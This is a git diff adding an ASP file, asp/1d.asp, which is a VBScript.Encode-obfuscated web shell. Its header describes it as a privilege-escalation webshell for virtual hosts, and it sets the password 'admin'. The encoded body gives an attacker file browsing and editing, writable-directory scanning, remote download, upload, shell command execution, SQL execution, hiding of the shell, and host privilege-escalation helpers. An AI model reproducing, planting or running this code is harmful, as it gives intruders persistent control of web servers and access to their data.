diff --git a/asp/1d.asp b/asp/1d.asp
new file mode 100644
index 0000000..cd9f7d1
--- /dev/null
+++ b/asp/1d.asp
@@ -0,0 +1,7 @@
+<%@ LANGUAGE = VBScript.Encode %>
+<%UserPass="admin"'	密码
+Server.ScriptTimeout=999999999
+On Error Resume Next
+mmname   ="虚拟主机提权专用Webshell去后门版"  'shell标题
+mmshell ="虚拟主机提权专用Webshell 80sec出品" 'shell版权
+errout ="傻逼与狗勿猜解本人密码" '密码错误提示#@~^sG0BAA==@#@&@#@&k+M\+M/KWY{In;!+dOc?+M-+M.lMrC4^+k`E/n.7+.{kG0DhC.J#@#@&EORO R OR O OO O RO ORO ORR OO RO OO RRO O O@#@&.nkwGxknRSDrOPJEQ74/DdW3JE3\(ZDd03EJ@#@&]+kwGUk+R~;06+D,x~KME@#@&@#@&/}1jK|o?}'Ej1Dk2Or[Ek	Lcsr^JLJ+UXkOJLJn:}4%n1YJ@#@&B把路径加入,-P@#@&WE	mDkGx~!YoE^snmY4calY4b@#@&7MOwEs^nmYt,',2lDt@#@&ikW~"ko4O`alY4Sq#,@!@*PE-E~Dtnx,!+Ds;s^nlO4,'~wmO4[E'J,B如果字符最后不是P'P的就加上@#@&+	N~0!x^ObWx@#@&B删除文件@#@&s!U^YbW	P9+sO6O0bs+v0rswlO4*@#@&P}U,2.MWMPI/!h+,1n6D@#@&~U+Y,G4Ns?}~xP;DlO+68N+^Yv/rg?Pmw?rb~@#@&~PbW,W8NsUrRwk^n2XkdYk`Wr^+wmOt*PY4nUPE检查文件是否存在P@#@&~P~G(Lo?} fVnOsksnv0rV2mY4*P@#@&P,+	[Pb0~@#@&PjnDPW(%sUrP{~UWDtbxL@#@&~G+sYaY6ksn,'P3.MRHEs8D~E返回错误码P@#@&2	N,oE	mOkKx~@#@&B检测目录是否可写PZ~为可读写P8为可写不可以删除@#@&w;UmDkKx~Z4n139kM(/}|	.bY+c9bDjYMb@#@&7}x,2DMWM~I/;:PHnXY@#@&7?YPwj6P{PU+.\n.cZ.+mO+}4%n1Y`/6g?P{wj}#@#@&d6kVwmOt,'~MYo;^VnmOtvfkMjOD*[6/GR!nDYn:aHls+@#@&is?6 ;DnlDn:+aDsbV+v0bs+alOt*P@#@&iZt^3GkD&d6|qDbYnPx~AD.Rg;:(+.~E返回错误码P@#@&7b0~PU4KhHKMkYfb.Pmx[PvZ4n13fb.qkr|q.rYP{GT#~O4+U@#@&7d"+d2Kx/n qDrY~r$@!6W	YP1W^GD{aT!+voo@*目录@!z6GxD@*Tr'9kM?DD'J~,@!0GxD~mKVG.{D+[@*r[3DM G+d1DbwYbW	'J@!zWW	Y@*D@!4D@*E@#@&d+	[~k6@#@&dd+O~6W;Y,x1KY4r	o@#@&7k+OPwj}Px,1KYtbxT@#@&ifnVD+aO6kVc0bV+aCOt*PE删除掉@#@&drW,Z4+1VfbD(d}|.rD+x!,C	N~G+^Y+XY6rV`Wk^+2CDt#{{!,YtU~Z4+139k.(krFMrYPxq@#@&+U[,s;x1ObWU@#@&E检测文件是否可以修改`此方法是修改属性~可能会有点不准，但基本能用*@#@&WE	mOkKx~/4+m0ok^+MrO+v0bVnwCO4#@#@&i6x,2..KDP]nkEh+,H6O@#@&i?+DPwjr,'~?D-nMRZMnlD+r(%nmD`;rH?Pmw?6#i@#@&i/nO,o+O)DYxsU6cMnDsbV+v0bs+alOt*@#@&7T+YzOYcbYD.r4!Y/~'~LY)YD bDY.r(EYnd@#@&~P;4mVwk^+MkDnP{P3DMRH;s4+M~@#@&d/O~sUr,'~1GO4kUo@#@&dk+O~T+Y)ODPxPgGDtr	o,P@#@&+	[P6EUmDkGU@#@&B检测目录的可读写性@#@&0!xmDrGx,?4WAfr.qDrYmfbDmobV+cKmY4~;4mVwk^+~;t^3g+aYGk.b@#@&d}UPADDK.~I/!:nPHnXY@#@&ij+DPoj}P'~jD-+M ;DnmYr4N+1O`;rH?:{oj}#@#@&7A,'Pwj6RwW^NnD3ab/O/vKlDtb@#@&d/nO,sjr{UKY4bxT@#@&i@#@&~PE是否为临时目录和是否要检测@#@&P,qjm:2Hhmf&IP{7ck	/DDcj/Ck+cnmOt*~E	&1f6	U-P2tKr#@*Z#,lx9PgGZ4+^3:+h2@#@&P,7d@#@&dbW~A{0mVd+~O4+UPE如果不是目录就进行文件检测@#@&iBxx{''xx{'x'{x{'x{'{''{'{x'{'x'{'xx{''{x'{''{xx'{'{'x'xx{'x'{x'{'xx{''xx{'x@#@&7iIn,',Ztm0ok^+	DbYnchlY4bPE检测是否可写@#@&i7r0,IPx!~O4+U@#@&7diIndaWxdnc.kDn,J,文件Y@!6WxDP1GVKDxDN@*ELnlD4[r@!z6GUY@*@!(D@*J@#@&id74,xYMEn@#@&dd7nXkOP6;	mObW	@#@&ids/@#@&did]nkwW	d+cDbOnPr$@!0GxO~1WsWMxDN@*文件@!J0WUO@*TE[hCDt'rP]@!0KxD~mKVGD{Dn[@*J[A.Dcf+k^.kaYbWU[E@!J0GxD@*T@!4.@*rdd77id@#@&i7i+abY,0E	mDrW	@#@&di+U[,k0i@#@&iB'{xx'{'{'x'xx{'x'{x'{'xx{''xx{'x'{x{'x{'{''{'{x'{'x'{'xx{''{x'{''{xx'{'{'xd@#@&i+UN,r0@#@&7KmYt~x,MnYw;^VKmY4`nmY4bPE加Pwd@#@&7@#@&dD~',Zt^VfbD&/6|	.bYn`hCY4#~v当前目录也检测一下@#@&drW,`.+,xZ#~KD,`D'8bPDtnx@#@&77"+/aGxk+Rq.rYPr$目录D@!WG	Y~mKsWM':TZ!!oo@*J'PhCDt'r@!J0W	Y@*@!4M@*E@#@&dnU9Pk6@#@&U+Y,ojr,',?nD-nMR/DCYr8%mYc/}1jK|oUrb@#@&k+Y,0,xP6/GRT+OWKVN.`hlY4b@#@&b0,`/tn^0srVxKMEnb,lx[~vqj{:3tnmGq"'0mVkn#,Y4+	@#@&8{0l^d+@#@&B{xx'{'{'x'xx{'x'{x'{'xx{''xx{'x'{x{'x{@#@&0WMPCm4PWk^+~r	P0cok^+/@#@&7IP{P/tn^0srV	DbYnchlY4'6ks+cUm:n*PE检测是否可写@#@&ik6~IPx!,Y4n	@#@&i7I/wKUd+cMkO+~E]文件T@!0KUY,mGsKD'.n9@*E[,KmY4L0bV+cxmh+LJ@!z6WUO@*@!4M@*J@#@&di8~'DD!+@#@&7n^/n@#@&7db0~j4WhHGqDrY9bD~DtxP"+k2W	/nRqDrOPJ]@!0KxY,^GVKD{DnN@*文件@!J0GxD@*Tr[KCDt[Wr^+ xmh[E,$@!0W	Y,^W^W.'M+[@*r[2M.RG+/1.rwDkKx'J@!&6WUY@*D@!(D@*Eidd@#@&i+UN,r6@#@&	+XY@#@&k6~4,Y4+	P.nkwW	d+csV!d4PE如果有内容就刷新客户端显示@#@&Bx'xx{'x'{x'{'xx{''xx{'x'{x{'x{'{''{'{x@#@&+UN,kW@#@&B'{x'{''{xx'{',目录检测Px'xx{'x'{x'{'xx{@#@&WGMPnl14,0r^+,kx,0cjE(sGV9+.d@#@&k6~Z4+m0Hn6DfbDx0Csk+~Y4nx,B是否检测下一个目录@#@&iD+~x,Z4+1VGk.&/}|MkDn`hlOtL0rsRxmh+*@#@&irWPvDPx!b~KD~`Mn'8#~O4+x@#@&id]+k2KxdRqDkD+,E$目录Y@!WW	Y~^KVWMxaZ!v+oo@*r[,nCY4'6ks+cUls+'E@!z0GUD@*@!4M@*r@#@&i+	NPb0@#@&+	N~k6@#@&7@#@&dbWPvZt^V16DfrDxPMEn#,Cx9Pc(U{K3\h{9q"x6lsk+*PY4+	~B是否检测下一个目录@#@&7di?4GSfkM	DbY+|9rD|sbVnPKCDt'0bs+cxCh~Z4n13ok^nBZ4m01+XYGrD,B再检测下一个目录@#@&i+U[,k0@#@&x6Y@#@&v'{'{'x'xx{'x'{x'{'xx{''xx{'x'{x{'x{'{'@#@&?OPw?6P{PHGDtk	L@#@&/+D~WP{PgWOtrUT@#@&+	[P6EU^DkWU@#@&?nD7nMRj1DbwY:ksnW!Yx,O,11O,,OlI/wKUd+cA!0W+.xDD;+=6x,2..KDP]nkEh+,H6O=@#@&26Z!O+,JdE(Pj4Kh2M.`*)q6~3DMP:tnxl]"?EJ@!8D@*@!C~4D+WxELC\md1DraY=tkkYK.Xc4Cm0`bv@*@!4M@*[	4/aIEJ,[,2.D 9/^Db2YbWU~LPJE@!Jl@*@!(.@*JE=2MDR;VCD=In/aWUdRs^;/4)2	[~q6)x[Pd;(J@#@&U;4,I]jv/Y.b=Dn/aG	/nchMkY`kOD*)3x9Pj;(@#@&w;x1YkKU~InmY4`jb@#@&]+hCY4']naVl^nv?SJ'EBJw'J*@#@&Ax9~s!x^YbWU@#@&sE	^YbWx,]]+hlDtc?bl"InnmOt{In2^lmncU~E-'EBJwr#@#@&2	N,oE	mOkKx@#@&`IS{]+$E+kO ?D7+..C.bl8Vd`rj]Jr#@#@&jD-+M(h'];!+/DRUnD7+..mDrC(V+kcJdrZzJmbGf"Jb@#@&)1YrW	xI;;nkY`E)1YrW	E*)KK/{ @#@&IKGYhlOt{?n.7+Dc\lanlD4cJcJ*@#@&		"WGY{j+M\n.cHl2KmY4`r&r#@#@&?D\D!xD;;+kY dD\.\mDkm8s+k`rtOY2m4WdYrb[!Ds@#@&NWhCbxxD5!+dDRk+D7+M-lMkC4^+dcrtYD2{4W/DEb@#@&sKV[+.KmY4'"n;!+dOvJsGs9+.nmO4Jb=@#@&nx{wKdeWclsglhn{I+$;+kY`roHls+r#lwdG{*lAm^3`Dsxr@!4.@*@!4.@*@!^xOD@*@!l,tMn0{B%l7ld^MkwDltb/YK.zR(l13c#v@*返回@!zC@*@!&mxOnM@*J@#@&"IjJ@!4D:s@*@!s+YmP4OYaOn;!k-xrJZKUYxY PzwJrP^WUOxO'rEY6O&4Y:sI,m4lMdYxT4y&FyJr@*J@#@&]IUJ@!ObYV@*JL::	Ch+LJ,O~J'jD-+M(nLJRRUW0O~ PE[knM\nM/K0YLJ@!&YbYs+@*J@#@&"I?,EJLmWaz;D^[rJ@#@&..UJ@!/DzVPOza+'EED+aYJ^k/Er@*r@#@&MDkE4KNz~DNS^xY.~^l4s`0KxDOdk"n=Pq aai(l^VTDW;U9O^W^GM):2%2%&Ri,^W^W.)[!TW6!!pjZ"rSd$)I szZ3O/6dr]),:!Z!TTZiPj/"rJS~)"Ou&M_SqVC:RZ}S6I=P:TZ%!ZTi,?Z"6JS~b"OjC)9}RZ}Jr")~:Z!%TTZi~?;]}SJ~b"O&GS&!C:O/rdr]l,a!ZosZ!i,j/I}SdA)IR)"I6 /rdr]l,a!TTZ!Ti,j;I6dS~bI K")ZnO/rdr]l,a!ZT!Z!i,o61:Owb\qJe=P-+M[l	lI~UZI6JdA)I 9zIFUCzfrqO;6S}IlP[!TTZ!!)E@#@&DDkErxaED~d+sn1YSYaYmDnCPAr]9AIRK}K (GK_)P8wXIPwrHK 3(VCK=~4KVNp~$r"fAIRS3o:O	qGPC=Pq2XiPo6gKR?&tA)~8 a6i,A}]fAIRSAsPR;rS}]),a!Z0T!Zi,A)ZF!"ri1GlP[&0fR&%I~~r]fA] A6:K}HOqqGPC=PqwXi~$}IfA]O~rK:6\O;rdr])~:Z!0!ZTi,Z6J}I)~:Z!W0ZTpP$}IG2I K}KO;rJr")~:Z!%ZT!pPs}HPOwbtqJ5l~7+.NmUlpP$6"f2]R"q!C:Rqq9:C=PFa6p~A}I92"O](VCK /rdrI=~:!Z%Z!T8E@#@&D./r4DPmGsKD):TZ0W!ZNr@#@&MDkJR;	(Cm0o.W!x[R1WVK.)[!!ZI8WMNDl!2a)J@#@&M./rR^h9	4C^0o.W!U9O^KVKD)[!ZTi1WsWM):ows8r@#@&MD/r8GNH	sl.orU=PTwXI:mDLr	OVnWD)*wXI)J@#@&DM/J~rGe	1WsWM):fR&%208r@#@&M.dJm	1WsW.l[!T%ZT!pYnaDONn^KDCYbG	)~	W	+i)l=4W7+.	1WsGM)aZT06!!p8Cm0oMW;x[l[!T!)E@#@&D.drRlh`1WsWMl[%0Ri6WxDOkry)q a6INr@#@&M./r@!zkOzV@*r@#@&D]dr@!&/DzV@*E@#@&26n/!YnPUr	0GAxvJVADMGD{3rV	+..KNWS Wp8hbU~YME+OE.Uk`b	M3DMW.~0kVs^DkGxD@*6EUkmMkw{Lm-lTECoY~smx/1.kaIIU=@!Dki?=s/nI)DUP6CPM+O;p+Vdn,Y.EnDE.	U?##M此操作吗？确认要执行DscU?mGx6k`r6P`kG3v#W	~z+!x1YrI]j?0==vbi)U;8skYG.sRdl9[M0IDWaRW^N.+,'~sc\Cs!DnmOtwWV9nWWM:cRCN[.*	OWaGV9+.[D`oGSsGVKU,?4!x1Yk"IU=0#U=i)8~x,UU7CV!+1mhnRKDsRotr[0`YK2R)+sdkYcbpRdE(h0GM:aRtbNKUiDWob1Yr;P',UR7lVz^OkK0KDhR 4bNn#POWa'U;^V1Ch"Nk6cG+.?UpUU}Y4h+,'~+PfHCp8+^dfgl:;nP{PR-ls w1C:WWM:2 4kNnbpYG~wHm:存在！=?意文件是否全名称~注tN4文件入要压缩的vU?请输.WswO+,'~2Pf1mhN(UU*2CmDH?U/WhrKxx'vob1Ydn,k0nI)+sPGHm:s!+,':R7C:csHl9+WGMWwc4ks+#pO=~w1m能同名！U称S注意不4文件全名新建的\[?请输入要:2Yv=',w.Ggl:n~?Ub	GOH[(U;D+mW	x'?s)mDkn~b0`pN+^/fgCh+!+,'~+ -mV sgC:0G.swR4r9+biDGBsHm:全名称?U建的文件夹请输入要新wD`?=PaDG:m:n~{U#P91^N+M=H+SsKxx'==zmOkK~k6`oNV/nHm:ni-=?_9?U-uuP3xPc\CV!sHCs+0K.:cRtb[n#pYKwo1Ch名称U=~标文件夹全入移动到目v=U请输MWh2D+Px~a	91mhD=?#sW^N?=HK\rW	'xcwbmDd+,k0IN+^_G1C:kk-U=',=U-V;n,_:n 7lhRwHmNn6WMWwctbh+*iOUBsHC夹全名称?到目标文件请输入移动wYv=U,wDKhC:P{Ub	9H^NnD?GwHsGx{UU/^DkGxbWvs)Vk+Pm:I8?UQfgUkk-uP3xP?\l^;n1m:RGDh wtrNWiDW2 gl:nb称?USs标文件全名入移动到目v=?请输DGswD+P{Pa`fglhVU=bK\+wr'{UUt^OkKxb0cs)n^/nPmh+p8==3f1=k-ukP3x,U-mV!+1m: WM: s4k[n6iYK2Rgl:b称=UBs标文件全名入复制到目vU=请输DGhaYnP{~wPfHCsV+==*W2Xwr{'=?Z1YkKxbW`wbHls+In,'Pw \mVEwHC:0KDhR 4bNn#POWamOrKx:nSwbh`wHmVswWMWx,s!;x1YrI"?=W?J~hdW*@#@&"]jJ6E	mOkGU,f8Z4nm0`b`b0`98wW.:c9(?OMR7lV!+,x',JEJr#`C^+DDcJr请先连接数据库JJ*IoE^VG4jY.cZ#IDOEMx~WmV/nI)DnY!.	POMEi8r)"]?r0;x1YrG	Ps!sVG4?D.ck*	b0ck@!T*	.+D;D	PWC^/+INUY.P{~	+A,bMDlH`8+#p?OD]!D~{PJrKDK\k9n.'tk1DG/GWDRB+D rd29$ccRTIGlOl,jKE.1+{J["+hCY4`j+k/rG	`JwGV9+DhCOtr#*[E-w[(RhN(I9Y~6d2f$lGlOl(Ck+~hlk/hKD9xeCeEJp?O.]FT,xPrJfMr-+M'P?5V~jD-+MNiU+.-D'E'U+.\.&n'r~8c&2iGCYm4C/'98gl:IjbN'kCInSN{eMeMErijYM, YPx~rJf.r7+.'P\H?5^8p?+M\.'r[j+M\n.&n[rInKDY{ff!+iGlOl8Ck+xf(Hls+IibN'.GKYInS[{eMCerJiUYM,&YPxPrJ9d	'fkU1m:+rEI?DD]cDPx~rJj2d3Z:PM~wIr\~]KC4^nglhT,CAIA~qG@!q!ZJEIUYD]XT,'PrE(1U2"K~qHP}P,Km8V1ChT`ijAISnzjU#~jbdj2U`'vEk+.xm:nwE~-E2lk/hK.[-E#rJI?O.]vDP{~Jrf3JAK2~o"r\P]Pm4s1m:+YPqu2"2~qG'qTZJJpjYM$GY~xPrJ`n9bP3,$Pl(s+glhnYP?3P,jj2"x'B;k+Mxls+'vPqC3IAP(9{F!ZEJp?YM,0T,',JEZ]3zK3P:)Ad2~,:l4snglh+Yc&f~&1:PqG2gPq:5~`8~qb,1r:~1`SSBij2"Pjb]Zu)"`X!*bJrijOM$,D~{PEJG]}n~:b~S2,$:C4^+Hls+DEri?D.$8!T{~EJzS:2]PP)~S3P]Pl(VnHm:+D~zf9P;6dj\gPhb?UPj)I;C)Iv&+brJiUOD]FFYx~JrbdK3I~PzAJ2,,Km4sngl:nD,f]rh~;rJ`HgPnz?UEJp?OD]F+D{PJr当只显示一条数据时即可显示字段的全部字节，可用条件控制查询实现 -	超过一条数据只显示字段的前五十个字节(JrIr0vk@!'f#`9(sGDs f(?O.c\ls;PxPUOM$rYiG4sKDs ?$VjYMR-C^E+,xPrJJrIC41RbxU+.u:HJ'rE@!1+UOD@*请确认己连接数据库再输入j}d操作命令语句*@!z1n	YnM@*rJi)+^d+,kW`b'xqy#	ms+MY`UO.$bT*iN+sd	94wGDsRj5^?Y. 7lsE~{PjDD]kTp8MnY!DUPDD;np8J=]IUJ0!U^YbW	PoEssU;s?D.`kY.Sao#`r6`94wGM: G4UYDc\msERs+	oO4@!*#PCVDYvEE请检查数据库连接串是否正确"rJ*i.+O;Mx~0ms/iNr6`/O.cVnxTO4@!qZ#PlVDDcJr请检查?}S语句是否正确eJEbpD+D;D	P0msd+p8G4oW.hc?5VUODc\Cs!+Px~kY.iG8wW.sRhloR7CV!+~',wLIm4mcrx	+D_P\S{JrJEi98wW.:cdE(:rOv#i.nDE.x,OMEnp8r@#@&"IUE0!x^YbWU~TWYKiId`Ym.L~k+^r8LS./OWMn#PkWck+V68NRGwDrKxd]/Vr(Lcd+^+^YN(U9+6Y Lk''8b`+7l^`d+s6(L WaOkKxd,k+V68NRd+^n1Yn9q	N+XTc-l^En#pkW~vD+kOWM+#,dnV}4NRd+sn1YnN&UN6xT)+VdnP+-l^cDl.T_rJR^W1CYbWU'EJEQk+V}8LcWwDrGxk$k+sr8%c/nV^YN(U9+6D 7lsEQrJvrJ*ik6Pv.+kYGD#~dVr(%Rk+V^O+9q	Nn6xTp8N@!JdmMk2O@*J@#@&.M/~J@!8KNzrP@#@&q6Pz^YbWU'rJ~O4+x,]IUPJ,d^DKV^'UWE@#@&D./,E@*r@#@&9b:PjGD`q&B+*)jKYv!~Z#,xPr?^DbwOr	oRwrV?XkOn:}4N+^YElUWO`ZS *Px~r文件操作组件J)jGD`q~Zb,'~rhkmDbwD /4+sVr)jGD`FB+#,'Pr命令行执行组件El?KYv S!b~{PEbG6(cZCOmVWLE=?GYv+B b,',Jb;ZAj?建库组件r)jWD`fSZ#P{~JxIrcBnYAxTkU+ElUWO`2S *Px~rbZ/3U?压缩组件E)UGD`*B!*P',JU^DbwOk	o 9bmYbGxmDXrljWD`W~+#~x,J数据流上传辅助组件E)UGYv*ST*P'~EzNGN( 1WU	+1YkKxrl?KYc*B b~{PJ数据库连接组件rl?KY`+ST#,',J)NG[(RjYMnlsJljKY`Sy#~',E数据流上传组件r)jKYvG~Z#,xPr?G0Db.Ob/l	dRwkVi2J=?KYcGS+*PxPrjb srsjw~文件上传组件E=?GYv0B!b,',JSH0`2VKl[R`wsGmNsbs+r)?KOc%B *PxPE刘云峰文件上传组件E=?GYv1~Z#~x,Jnn.kkO/ciaVGmNcFJ=?KO`O~+#,'~Ez?n`2VKlN,文件上传组件El?KYvFT~Tb,'~Jx\lbV jsYw\CbVE)UGD`qZ~y#P{PrBHmksP邮件收发组件r)jGD`F8S!*P',E/f}1:? 1nAtlrVrl?KYcq8~ b~{PE虚拟?tPh发信组件JlUWD`Fy~ZbP{PE?sY2\mkVcj:DwHmrsR8J=?GYcqy~+#,xPr?hOaHlrs发信组件r)jWDc8&SZ#,'PrHb^DK/G0DRp\dCK:KJ=?WDcq&B *PxPE数据传输组件E@#@&oWM~k{!~PKPFf@#@&?nY,P{?nM\DR;DCYr8LmOcUWYvr~Z##@#@&(0,OyF*G++8!T*,@!@*,2..,KtnU@#@&(/}8N'E,√J@#@&2^/@#@&&/64N'E~×r@#@&A.DcZVC.@#@&2	N~qW@#@&?nY,P'gWO4bxo@#@&UWO`bS8#x&/}4L@#@&gn6D@#@&q6PoG^N+MKlDt@!@*EEPDtx@#@&jnk/rW	cJwWs[DnCO4Jb'"]nCDtvsW^N.nmY4#@#@&3U9Pq6lq6P?ddkKxvJoWs[DKlD4J*'EE,KtnU@#@&oW^[DKmY4'IKWDKlDt@#@&U+ddbWxvEsKVN.KlDtr#xsGs9+.nmOt@#@&3U9PkW@#@&s;x1ObWU,HmkxwWMh`*P@#@&"IjE@!0WMhP	l:xEJ4k9+WW.hrJ~:OtKNxErwWdOrJ~l1ObWU{JrJ[`Id'JrJ~YmDLnD'Jrok^+sMCh+rJ@*J@#@&]]UJ@!k	2EDPOza+'EE4k[NUrJ~	ls+'rJz^YbWUJr@*E@#@&IIUE@!bxw!O~YHw'EJ4r9NnxrEP	lhn{JJoHm:nJr@*r@#@&"IUJ@!J0K.:@*J@#@&"IjE@!YD@*p→@!mPtMnW'ELm\C/^.bwO)U4WSsGs9+DcErZl-'KMWLMlsPsbVdJr#v@*hDGLMl:@!&l@* 2→@!C~tM+6'vLC-m/^Db2Y=?4GSsWs[DcJr/=-wGW1E:xDdPmx[PU+OObxokw-zVV,id+M/'-EJbv@*bsV`d+M/@!&m@*x:→@!mP4DW{B%m\m/mMkaO)UtGhwWs[D`rEZ=--GG^Es+	YdPCU9Pj+DOk	odw'bVs~`/nDkw'=开始n菜单'-程序'-Jr#E@*程序@!Jl@*k(→@!C~4D+6xBNl\md^DbwD)jtGAwWsN.`rJ^l'-fG^!:nxDd,lU9PU+YDk	L/'-)V^PidD/'wl开始a菜单--程序'w启动EJ*B@*启动@!&l@*r(→@!CP4.+6'v%m\ld^Mk2Y=j4WAwW^N+M`rEZ=-wfKm;hxYk~l	NPUnOYbxT/w-)s^Pi/./'-)2aVk^CDkGx,9mYC'-UX:mxDnm'-2mzxzA4+Dw-rJ#E@*2mzxHh4+.n@!zC@*d\→@!mP4.0'v%m\C/1.bwO=?4WhwW^[+M`EJ1)wwhDWT.lsPsbsn/'-k+.\R;'-EJ*v@*k+.- E@!&C@*f-→@!m~4Dn6'ELl7lk^DbwO)UtGAwWV9nDvJJ;lw-GW1Eh+UOkPCx9~?YOr	o/wwzVsP`dDd'-zww^k1CYbWUPGlOC'-Hb^DK/W6Ow-t+9kCP(U9+a-'EJ*B@*@!6WxO~1WsWMxM+[@*U星外常写?@!z6W	O@*@!zC@*=”→@!C~4D+6xBNl\md^DbwD)jtGAwWsN.`rJ/l'-n.GTDC:,obVnk-'Hk1DKdW6Y~?5S~jD\.-'JJ*v@*?5S@!zC@*(B→@!l~tMn0{B%C7l/^.bwO)U4KhoKV9+DvJr^)'-KChJEbE@*n_K@!Jl@*A9→@!l,tM+W'v%m\C/1.kaYlj4WhoG^NnDvErZl'-qq1Grqj-'/z/D+hfy--1Gx6ko'wEJ*B@*mGxWrT@!&l@*	n→@!l~4M+0xvNl-lk^Mk2D)UtWSsKsNDcJrmlw'qg9rq?-'dz/D+s&+-wr	+O/M--'NCOm--EE*B@*NmOm@!&m@*s@!mP4.+6'vLm\Cd1DkaO)UtWSoGV9+M`EJ^l'-Ak	[WS/ww:+:2w'JE#E@*:+ha@!Jl@*sg@!CP4Dn0{B%C7l/1.kaY)U4GhwW^NnDcErZl-']2;5/JAI-wEr#v@*"3;5/d2"@!zm@*7S@!mP4D0xvNl\mdmMkwDljtKhwWsNn.vJEZ=w-GW^;s+xOd,lUN,jYObxT/-'b^sP`/nDk-w9KmEsnxD/-'EE#E@*常写@!zC@*{@!b:LPk.m{B4Or[JO2=z&tW^0 8cmK:zS+(&wM &gr[[Gslk	'JE@*@!Jrho@*J@#@&vn]调用地址@#@&I]?r@!Ym4sn,hk[O4'vFZTuB@*r@#@&IIUJ@!WWM:~xm:nxElN9.0KD:E~h+DtKNxB2GkYvPm^YbWUxEJ[i]d[EB,OmDLY{B{alMnxDB@*J@#@&]]UJ@!D.@*@!YN,ArNDt{B*!v~mVro	xB^+WOE@*地址：@!&O9@*@!Y9@*r@#@&"IUJ@!bxa;Y,xC:'voKVN.nmYtE~dYHV'vhr[DtlFZT]EP-C^E+xvr[j+kdbWUvJwWV9+MKlDtE#LJv@*r@#@&"]?r@!zD[@*@!DN,hrNO4{B{!E~l^kLU{BmnUD+.B@*@!bx2!Y,xls+{v?!4hkDB~OHw+{v/!4:bOvP7l^En'v!}M6B@*EP@#@&]]UJ@!&O9@*@!zD.@*@!&6WM:@*@!zDC4^+@*J@#@&]]UJ@!DC4^+PSr[Y4'EFT!Yv,tnkT4Y{B1uBPdOHVn'E8KD[D=FwXPkGVbN~aZ!0TZ!iE~mVVaC[NbxT'v!v~1+sVk2l1kUL{B!v@*r@#@&I"jr@!O9PSkNDt{vF2*vPbNxO^@*J@#@&I"?J@!rWDm:PUlhn{BJ+6OB,/.^{Bg)^DkGx{\mkUt+	EB,hb[Y4'vFZ!Yv,t+bLtD'B8TT]EP6DC:n8KD[+MxBZB@*@!Jk0.Cs+@*@!JO9@*E@#@&"I?r@!D[PSk[Y4'q~kYX^n'E4l1VLDKE	NlaTTR!T!E@*@!JY[@*@!YN~AbNOt{q,/OHV'Bal9[k	ol a6v@*@!lPKUm^km0xEJ9W1Eh+UOconYAs+s+UO~Xq[cEYsB* kYz^+cNkkw^CX{BUW	+vErPtMn0{aa@*@!8@*隐藏@!z(@*@!zC@*@!w@*@!m~W	msr13'EE9W^Esn	Y T+D2V:UY~X(NvBOsE#RkOX^+R9rdw^lH'vBEE,t.+6xa[@*@!8@*显示@!z8@*@!zC@*@!&a@*@!JY9@*@!DN,Ak9Y4'8PdOHV+{v4mm3T.GE	N=aT!0TZ!v@*@!ON@*J@#@&"I?E@!b0.lsn,xCs+{BsbVoDm:nB,/.^{Bgz^YbWx{j4WSFwks+v~Sk[Y4xB8!TYEPtnrTtO'EqZ!YEP6Dls+(GD9+.'E!v@*@!zk6.ls+@*r@#@&2	N,s;x^ObWU)w;x1YrG	PHCr	Hnx!c*@#@&"IUJ@!Dl(s+,hrNDtxv8!!uvP1+V^d2l1k	oxBTv,mnV^2l9NrUT'BTv@*J@#@&"]UJ@!DD@*@!Y9@*@!4D,tro4Yxq,hk9Ot{BFZTYB@*J@#@&]IjE@!zON@*@!zDD@*E@#@&qW~kWP`ZS8#xrP×rPK4+	@#@&"IjJ@!Y.@*@!YN,4+botDxv WB@*无权限@!&Y[@*@!zOD@*E@#@&2sd@#@&jnDP)A;xg+A,S~s)"IU~b~Z ?4WA9Mk\.`*)?O~b~Z{1GY4r	o@#@&"]?r@!O.@*@!Y[~4+ro4O{B+ZB@*P@!mP4.+6'vLm\Cd1DkaO)UtWSoGV9+M`EJE'"+KlD4`q	]KWYb'rJE#E@*→站点目录@!zC@*@!JYN@*@!JOD@*J@#@&"IjE@!YD@*@!Y9PtrLtD'E TB@*@!mP4DW'ELC-m/m.raYl?4GSsG^ND`rJr'InCY4`]GKYnmOt*[JrEbB@*→程序目录@!Jl@*@!&O9@*@!zD.@*r@#@&]"?J@!OM@*@!Y9~4+rTtD'By!E@*@!mP4D0xvQbmDrW	'oK8Cm0B,YCDLnD'vsbs+wDChB@*→上级目录@!&m@*@!zD[@*@!&DD@*J@#@&I"jJ@!Y.@*@!Y[~4+kT4Y{B Zv@*@!mP4Dn0xvNl-lk^DbwOlwEVsoKDh`rEr[]nmYtv?d/bWU`rsGs9+DhCY4J#LEw1hwWsNn.r#'JrE~rJHnSsWs[DEJ*v@*→新建目录@!&m@*@!zY9@*@!&YM@*E@#@&I]jr@!YM@*@!DNP4nro4Y{B+!v@*@!l~tMn0{B_)1YkGU{2[kDobVnEPDlDT+DxBwks+wDChB@*→新建文本@!&l@*@!zD[@*@!JYM@*E@#@&]"?E@!D.@*@!Y[~4+kL4D'v Zv@*@!C,tM+0{BQ)mDkGx{NGA	VWm[/EPYm.L+D'EsrVnoMlh+E@*→远程下载@!Jl@*@!JYN@*@!JY.@*r@#@&I]UJ@!YD@*@!D[P4+ro4Yxvy!B@*@!l,tDWxBQb1YrWUx`wok^nB,YC.T+Yxvwks+w.m:nE@*→上传文件@!zl@*@!4.@*@!zON@*@!&OM@*J@#@&I"?J@!O.@*@!Y9P4+rL4YxByqB@*@!C~4D+WxEg)mDrKxxUmmxfMk7nsKDhB,YC.T+Y{vsbV+w.C:B@*→可写目录@!&0GUD@*@!zm@*@!JY[@*@!zY.@*r@#@&I"jr@!OM@*@!YN,tro4YxByFv@*@!lP4.+6'BQ)^YbW	'CYOv,YCDTnY{Bor^+s.Cs+v@*→修改权限@!&6WUD@*@!zl@*@!JON@*@!&YM@*E@#@&IIUE@!DD@*@!O[P4+bo4YxvyFv@*@!CP4DnW{Bg)^DkGx{4bN[xkt+^VE~YmDL+D'vobV+w.ls+B@*→隐藏大马@!&l@*@!4D@*@!&O9@*@!zD.@*r@#@&]"?J@!OM@*@!Y9~4+rTtD'ByFE@*@!mP4D0xvQbmDrW	'0!"4ED;8B~YC.T+O'Eok^+o.m:+v@*@!0GxD~1WsKD{D+9@*→星外主机提权辅助@!&l@*@!&0KxO@*@!tD@*@!zDN@*@!&OD@*J@#@&]IjE@!Y.@*@!ON,tnrTtYxvyFv@*@!C,t.0{BgzmDrW	'WE.t;O$ 